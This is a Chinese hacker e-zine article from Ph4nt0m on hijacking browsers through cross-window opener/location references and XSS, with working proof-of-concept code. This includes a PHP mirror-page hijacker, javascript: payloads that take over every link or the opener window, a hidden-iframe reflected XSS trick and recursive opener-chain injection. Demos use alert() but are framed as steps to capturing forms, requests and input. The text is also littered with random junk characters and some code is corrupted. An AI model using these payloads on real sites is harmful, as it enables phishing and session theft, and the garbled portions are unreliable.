==Ph4nt0m Security Team==
' A, e1 F; _& Z
( ^$ x7 ~3 h* ^1 q) n/ t% U Issue 0x03, Phile #0x05 of 0x07
4 b% E+ P7 {' ~" F4 U: M9 T
( t/ X, Y& B/ K4 A& b! L, B0 ~% M4 z. E
|=---------------------------------------------------------------------------=|3 d6 U, n& u3 e: U
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|% x+ Q( c7 Q( r- s8 J/ Z" ]8 J% e- c, [
|=---------------------------------------------------------------------------=|% |5 F1 h' \& F+ f: A) M
|=---------------------------------------------------------------------------=|$ ?( G9 {( C5 d" J7 j/ D* ?9 F
|=------------------------=[ By rayh4c ]=---------------------------=|
9 y. h# a( T, G" N1 y3 Q, X|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|2 z2 i' j* {% ~+ r1 {' k
|=---------------------------------------------------------------------------=|
' l3 r) z2 ] u- O5 o/ L# r& B/ f
9 P$ H S1 {; m+ a0 F
: a( a! i z/ G# b& S5 g[目录]
% r# t* _3 f9 K9 S% i5 h
8 w5 I9 h1 U! [1. 前言
% M3 [( z1 h/ ~$ D' x2. 同源策略简叙7 M8 \2 s2 N% V' H w' f2 V
3. 理解window对象的同源策略
1 G, |. ?4 O& }% b$ z ]: H$ J! H- h4. 窗口引用功能中的同源策略漏洞2 p5 Q" X% W. ]: u/ ~2 T) i
4.1 父窗口引用子窗口的同源策略问题
/ R5 [( ]7 W, j! x1 w8 n0 \) I 4.2 子窗口引用父窗口的同源策略问题
) _' S7 ^) H. z% _* E5. 利用窗口引用漏洞劫持浏览器0 ]: [* F5 H# v- Y$ s8 R
6. 利用XSS漏洞劫持浏览器: x+ P: d; a d g
6.1 正向跨窗口劫持7 u; W8 S) [+ ^ W# G. i) C
6.2 反向跨窗口劫持
: q3 E% T m( E. I& a; j 6.3 极度危险的跨框架窗口引用劫持
9 x$ ]/ i0 _9 ]8 [1 b 6.4 极度危险的正反向跨窗口递归劫持, b6 K b, B. i1 H
6.5 完全控制浏览器
6 @0 y8 r$ c9 B$ }2 Q" Y o' Y3 Z7. 后记
E2 r& u1 l0 W/ K7 O/ ^3 Q. A$ v8. 参考& o5 P6 ^) U0 E
* w8 u5 K* g1 N1 L' d
! g) F& I, i$ @0 e* M! K
一、前言
) l9 b' N2 \( s5 B9 \! @* w
1 q3 V! v( ^3 y- U; V1 k4 W6 A 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
4 v( H+ N4 ^3 O% M友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session( z K8 L2 Z$ t6 \7 ?0 T' i
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被, B- u# b7 d1 P7 P0 H4 U
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
1 a8 N8 V3 |: C7 R( n6 ^7 \/ w0 ?+ P6 h: m) G* ^6 K
' e3 f; y. y+ @- M' M二、同源策略简叙6 g" t6 k% ~8 J. B0 u$ I5 I
" {( \& v( L) K- F3 Y8 r: \
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
0 {, ]; K- ~& a$ w* s从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都1 j |; E8 ~, b* K; D) E. W
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
+ f3 f! E; [7 R# e马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个) }; j3 E1 ^3 |8 {$ |7 `; B
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
! {- d* \5 N# z! V4 r/ |) r `
# J9 O2 \1 c/ l' {! |) ]+ \" @& f; N% x$ @' @2 M0 I
三、理解window对象的同源策略 F% p# {) V" l. u7 l" P' m
- Z1 T. q/ [ ^% w 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
0 D5 a# w% e K+ u t# d9 X* l, Z; p象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
9 `6 e5 k* Z; q4 B* H e! |2 S
3 U; Z5 g' Z* O2 u, P9 s--code-------------------------------------------------------------------------
# z4 g' Z: f$ N$ l<script language="javascript">
" [. h5 F; n2 j& Ifor(p in window) document.write(p+"<br>");
2 F* ~' x" ~) {+ O7 q</script>+ ^$ p: g& H5 q7 g( ?$ x
-------------------------------------------------------------------------------. H8 Q' _8 q! Z+ U- P" D2 A2 Y
5 v8 r& |" X$ x/ b) H( Q- ?# I 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方# O! i6 ^' @- u6 z! h/ E
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
% P& M6 f' N* J: y6 ]这些属性和方法就必须遵循同源策略。
3 E+ t0 Y8 U9 b% T7 p
* C" V9 S) r t 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
" c" K- T1 r! p1 }/ f么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
3 {: ?/ v# n. t4 j的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这& I+ C8 Z) t) o9 f( d9 w/ @2 K
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
" n9 Q8 [) ~* z$ \( w值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location1 q( Y1 a1 d! c' R, t
属性并没有被拒绝访问。1 s5 _) E1 u4 T% i) y3 S; g, W
- X( M, j. [6 A% A9 N--demo.html--------------------------------------------------------------------
8 u( W+ v* B- _8 s<script language="javascript"> }* D6 g: g c0 f( E) V
function allPrpos(obj) {
) A G! a' n& w. w9 q var props = "<table><tr><td>名称</td><td>值</td>";
( D; U* l% M5 C2 h( ]& V0 v# @ for(var p in obj){
" \/ M F |. N6 }' O. P if(typeof(obj[p])=="function"){ 9 J4 W# U- p) ]
obj[p](); 9 k. d9 a) A' e! |' \
}else{
# S* n! c; `1 l( T, w1 |0 f1 ` try 6 V4 }( t5 O# T$ }$ u( d
{ 8 x1 V$ z$ R' ], A
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
1 G. C+ ^- v$ y# h% ]" m2 V }
5 P& I. a0 e& {) m catch (ex) 5 C1 |, m9 t' Z: L, H9 K& j
{
: D' W3 z' l) j5 m T) N( H + d, }% r$ W0 D+ k! d- H) }
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
- [$ ?0 V7 B* f+ I }
. \6 ^+ j# `4 ? m. q5 o4 j
* c5 e! x4 E% [6 r }
) |0 e: b; J, g } 6 a: j3 v& d; R' v' ~! x1 n' _
3 X, b. Y1 ?" h9 w& m document.write(props+"</table>");
' @* }( K& Y/ o1 }7 U4 W} 4 k3 {8 M! ~, x" G" M+ B* {
" t- {, j+ V$ d0 N4 b
function createWin() {
3 M8 a, p% D' R1 k- K& x newWin = window.open ("http://www.google.com"); ' G* H' X$ O7 z7 ?5 t7 m
setTimeout(function(){allPrpos(newWin)},2000);
, x8 U+ x1 H. ?* a0 J}
3 r/ J; F5 C& x7 M' z4 X( r, ]$ \, x* k! ~: _' e8 C
</script>
) k( d- o5 D% ?3 ~2 O w7 N8 b! R# m
<button onclick='createWin()'>创建一个非同源子窗口测试</button>( @0 w5 `; K1 _ p, |% g$ I
-------------------------------------------------------------------------------- u, @7 R S! B1 C
! f! C$ u+ C9 ~4 P
/ L8 P* S$ V1 w: `0 I( c
四、窗口引用功能中的同源策略漏洞
. a( Q) v1 z% y6 \) C- d) N' T# R, D$ P* O( Y/ y) D9 V
4.1 父窗口引用子窗口的同源策略问题# S) G9 Z, h2 ~; z9 R6 N. l7 g
/ `, G3 |% j9 B/ k/ F1 d; Z: p) j+ ]
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
" r! j" j* M4 B但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
# }0 z& Z( e8 F' k" i浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
" v6 m9 B4 E: h" y: _% \行测试,会发现父窗口可以控制非同源子窗口location属性值。/ {- Y: p* F, s. M( p; _$ i! t
- S! J7 ~: w, y" G9 @9 R: k' ~--vul1.html--------------------------------------------------------------------; X1 S5 x/ ~! `1 D$ A1 ?) n8 s2 k
<script language="javascript">
, ]8 ^. \" b9 a- d% dfunction createWin() { ( e* L; [+ T6 c/ g# i
newWin = window.open ("http://www.google.com"); 8 A& Q& a3 R3 U, ~3 d. l2 L7 E
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ( }$ z: N# l4 B# T& }
} 6 {" C0 v- c, a' u
</script>
8 O9 B% @5 e2 V* B7 E$ j: c E) m' k2 o6 \- T7 D( h4 c9 W* q, l# r& [: j
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 J1 W+ L& C' ?! |0 w-------------------------------------------------------------------------------
9 L; h, y; f4 {# s6 v& U3 t/ P" s: n3 ]/ t% _4 j
$ e# H1 N, E, ^4.2 子窗口引用父窗口的同源策略问题
) W: C) J# W8 K6 { Z
2 Y. |& p/ T9 p. b7 G. d" s3 o6 }$ [ 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使7 o# E! i* U% w& C
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们* E* A7 Z9 E% y
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
0 L! D" C0 k0 p1 d2 }会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。. ?0 K/ u/ G# r& R2 T
5 c- A( ]1 w: V$ B
--code-------------------------------------------------------------------------
, ~4 Q; V5 t* I/ X: D6 B
( {+ h' ^2 ~' S& n/ Cjavascript:window.opener.location = "http://www.80sec.com";void(0);$ e2 |" F+ a$ K: N3 v: B. y& Q
* ~* [' H; w7 M8 x-------------------------------------------------------------------------------; X5 |+ X2 r) X' o# U6 O: @
0 j* n$ x s8 D; i
" e, }/ Q H) w" m* j五、利用窗口引用漏洞劫持浏览器
) B j4 _4 t5 B3 {! n: _
3 @0 S7 w) j6 @5 R$ o 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子2 f) v8 x. N( a k" w h5 m! b
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
* ~ _5 A1 T+ V+ h" s3 t) k) h$ H0 p么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
% S) r9 ?" t$ U( z7 E: J5 f* O
4 O3 h5 f M, h! o A/ B3 `; A) } 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
) C6 u' P% b, a) e0 V6 v0 j8 Q. D生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或# E0 [0 c% w; a$ o( Q
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
: g3 T/ L9 v' k3 K后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
/ m, X8 F4 R$ E6 G& W5 G会产生什么可怕的后果。
) [- ]. o9 Q Y. p$ r9 y! ?# C: ?1 ^/ D f- z
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我& H6 _0 p8 ~- N/ i6 ?/ H; Q* ?6 S
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php$ b; {3 l3 W/ n8 U# G6 n' T
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
. m* o3 t* @# p1 @2 P候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可) a; b) B; A( h# T
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
2 j8 B$ c ]3 [. c+ y: S& ~' @& h
--hjk_ref.php------------------------------------------------------------------* p% I& |# a7 ]( G* h7 k3 c9 i
<?php
6 H' k) [- Y- R# Mif (array_key_exists("HTTP_REFERER", $_SERVER)) {
/ v0 r8 \- ~. I9 r6 O. X$Url_Mirror = $_SERVER["HTTP_REFERER"];6 z/ Z3 o6 i1 i, v) @5 ~
} % E! Y) i7 O' {
if(isset ($_GET['ref'])) {3 N0 O! Q0 P* X7 n4 s! J" J9 S
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';# a. Z/ I! |0 ^- w" ] R
}( P8 h' S5 W2 `6 t2 n
?>4 D; C; f3 n0 w' C5 e6 f- z, Z
5 v6 @+ ]: k H' r& Z' q& g
<script language="javascript">
0 h( D8 E6 K# R8 }# n6 u, L% _% ksetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
7 h, p+ g8 `* f% B$ x# P1 `1 f8 m</script>2 {# |9 g; ?( x5 s2 X: }3 _
-------------------------------------------------------------------------------9 y" O B7 B0 e Q y0 l7 x
3 }& l. p: z/ e! T& u8 P
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
, i7 B8 l9 P* z0 l# ~7 W! c# ?( v A
2 |( N3 @8 C7 |4 |" Q六、利用XSS漏洞劫持浏览器% W1 V- W E( M" c$ s
5 I& W# z3 [& O2 |0 w 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为! g7 B' x0 P, J' ?. K
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后2 `) q5 ^1 ^9 b
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起2 N- X g% O$ v7 L* v
讨论跨站师的终极技巧:
1 A, E' v* d/ @/ f& @0 Y! A5 j+ t, e! m9 f0 i5 [) r- k4 S
: ~7 e; x$ s' ]- S
6.1 正向跨窗口劫持8 c7 v( }3 N* Q* m
" c. z' B4 @; L1 Q) Z7 `, O
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛5 F" ]( H- W, U# j# c
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链& J6 F2 x4 p0 i2 Y8 N2 N7 i
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
1 b! b: g5 B! w. ]框脚本。 0 K4 H- s0 \1 d% Q$ Q* w+ v
& p j2 Y) T* a K" g7 {( R--hijack_open.js---------------------------------------------------------------
+ ^! D* L- U- s' ]: ?, d* s( |/ S4 v1 u! b8 e
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);( H+ t( S2 o& |5 F
$ @' ~, t, p# O( v5 L+ @
-------------------------------------------------------------------------------
- ]# Y# \/ b2 l/ q' F7 v) H# \* ~7 m$ C2 S& Y+ K2 `4 b
0 h# y) W. ~, f/ `/ o
6.2 反向跨窗口劫持
! ^: O4 }7 [# ~
$ i8 f- r! ]9 I7 b! A 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代. E) r5 w* @# p5 O
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
' O1 K) A6 i3 v( ?$ r9 @$ `框脚本。- {7 x0 m `* u2 \* p. @: ?) }
9 h$ i7 X+ G4 w" f--hijack_opener.js-------------------------------------------------------------* g. F) G9 M/ ]& z+ E' I' Y
; k2 q x0 s& L. d' \/ ^' }javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
# y6 A% o' C" j7 u
& L9 m- `; I3 }( j-------------------------------------------------------------------------------
5 o6 j s* X5 F; h4 m/ u$ U% c
2 C% @# L2 z* l$ b3 C+ D: ]& q
: s* a, s+ W$ r. ^) j6.3 极度危险的跨框架窗口引用劫持
" | w1 x" _" v/ y9 ]9 y1 _& E( u' y- n# w
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
' b% f( b7 q5 ~* S/ P2 g可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
8 }1 v6 j: _) U- w9 y+ v# {9 z适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个; V0 H1 W7 m$ d) [( \
非持久型的XSS,如下:2 T" ~1 C8 _4 X$ G, z0 `" i, U
c( P9 ?. o" I! X; G<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>+ _- T! x, n* k: X8 |) W
* t$ R0 B4 ?1 u: n( L$ Q* G
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口' o5 [7 o$ W# E2 S) T
注入脚本。! W, x, n1 d* F5 E t$ S
& I$ Z3 e' y1 E( Q# o--hijack_frame_opener.js-------------------------------------------------------" M( L9 g8 M, H. _4 F
<script>$ S4 R5 M: i3 S# J; M
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
) a$ y- ~0 \ P8 a; F- R0 [</script>3 u7 Z: C1 g2 V. m& D$ h2 k
-------------------------------------------------------------------------------
* a: V i# u! {' c7 [: K# K- D I+ h. e
0 h4 B9 t( }; l/ n4 W" M/ g
6.4 极度危险的正反向跨窗口递归劫持
1 n, k$ y/ g! W8 ]
0 e7 Z. A _, K* _" w5 d+ G+ i( x s luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window. ]5 S0 T/ d/ q
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过' L, j) L& ]2 Y$ p
异常处理规避之间跨域页面的访问异常,代码如下:
/ t7 n' L S# a1 \+ l: m! M, N& K7 }, I. m a* u. z4 j/ ~
--code-------------------------------------------------------------------------
$ a+ L* k9 U, Z. a+ T( O) W) I0 h( y& ]" H( U6 @9 L$ f
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
/ V9 v0 h! q+ `+ x
$ g/ h6 N9 K' P9 q+ v-------------------------------------------------------------------------------3 m) j: [/ `( T& _2 U9 t
# H8 h2 a' g& ]& k9 n/ s 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可/ V3 y# c8 S1 s- G. o" Z' Z# c* @; O
以劫持B域之前的A域页面,从而实现“隔空打击”。! B# G' {9 ?0 S" A w6 c: T
) D9 c& @8 {3 x9 d0 A: J 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
% D% Q4 b1 w, H4 T, Y执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
' R( J& V0 _9 ]# O# G# X
o4 N& J1 p$ ]& D; u. ]! g 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
# R5 A2 z% \8 Z6 n
! b0 @8 T2 X2 K& B9 q5 }; z# J0 X# K6 |
6.5 完全控制浏览器) v- Y5 w: R9 e: {8 x
2 D" z' J; c% b% ?
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
! M9 J& Y, h( L' D: x! X# X是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS- L! |; y* i4 P6 r" Z1 V
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
2 _" G! t7 T7 G: r+ }而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
. G+ B9 i3 @/ b列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
* p( v: L' t: V4 `) M! n师的终极目标 - 完全控制浏览器。
" N4 {, L- w% U; v+ `! \( ]& M1 j
% k$ [( G: W8 \1 F, N' ^; x% G: o2 R5 x7 I- |7 d# _
七、后记( ]( v; z$ L+ K& \0 S
# s+ A) A# V& ^( g0 D 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全6 T/ L" S' k6 u- u- y' D/ n, B$ f. q9 M
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
6 N3 h* {4 [/ F; B$ k2 n) p) t过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。5 R& R" Q3 r# m. u- J
$ W1 G8 |! U1 I& a2 p
) S9 N+ r& A) q( E2 R; e
八、参考3 c5 A8 b1 c) K( R2 y. J
7 \4 W" n! d9 ?
1. http://en.wikipedia.org/wiki/Same_origin_policy4 X/ E+ U% w) X
2. http://code.google.com/p/browser ... licy_for_DOM_access# ]5 p% I/ |. r. Q6 P" A# L) v( W3 ^
3. http://www.w3.org/TR/Window/# `# Q) l5 S- l% F' K
4. http://www.80sec.com/release/browser-hijacking.txt6 o s: _* e+ m' E0 U& }
5. http://www.80sec.com/all-browser-security-alert.html
0 I6 K$ i7 W( V; T3 z9 J6. http://www.80sec.com/ms08-058-attacks-google.html' y5 {* S- \2 h' K" k: b8 C9 M5 _
, \0 e1 ?6 I* J I8 P# A/ t
-EOF- |